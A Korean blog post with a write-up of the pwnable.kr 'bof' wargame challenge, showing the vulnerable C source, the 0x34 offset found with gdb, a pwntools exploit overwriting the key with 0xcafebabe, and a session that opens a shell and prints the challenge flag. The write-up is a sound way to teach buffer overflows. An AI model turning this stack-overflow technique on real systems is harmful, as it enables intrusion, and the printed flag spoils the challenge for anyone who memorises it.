ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

write-up(pwn)/pwnable.kr

[pwnable.kr] bof write-up

2023. 5. 1. 22:17
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}

int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

gdb로 동적디버깅을 해서 overflowme와 key의 오프셋을 구해야 합니다.

구하면 0x34가 나옵니다.

 

0x34만큼의 더미 데이터 뒤에 0xcafebabe를 전송하몁 됩니다.

 

최종 익스플로잇 코드는 다음과 같습니다.

(리틀엔디안을 사용해줘야 합니다)

from pwn import *

p = process('./bof')
p = remote('pwnable.kr',9000)

pay = b'a'*0x34 + p32(0xcafebabe)
p.send(pay)
p.interactive()
$ python3 ex.py
[+] Starting local process './bof': pid 256
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$
[*] Closed connection to pwnable.kr port 9000
[*] Stopped process './bof' (pid 256)

'write-up(pwn) > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] passcode write-up  (0) 2023.06.14
[pwnable.kr] flag write-up  (0) 2023.05.13
[pwnable.kr] collision write-up  (0) 2023.05.01
[pwnable.kr] fd write-up  (0) 2023.04.29
    'write-up(pwn)/pwnable.kr' 카테고리의 다른 글
    • [pwnable.kr] passcode write-up
    • [pwnable.kr] flag write-up
    • [pwnable.kr] collision write-up
    • [pwnable.kr] fd write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바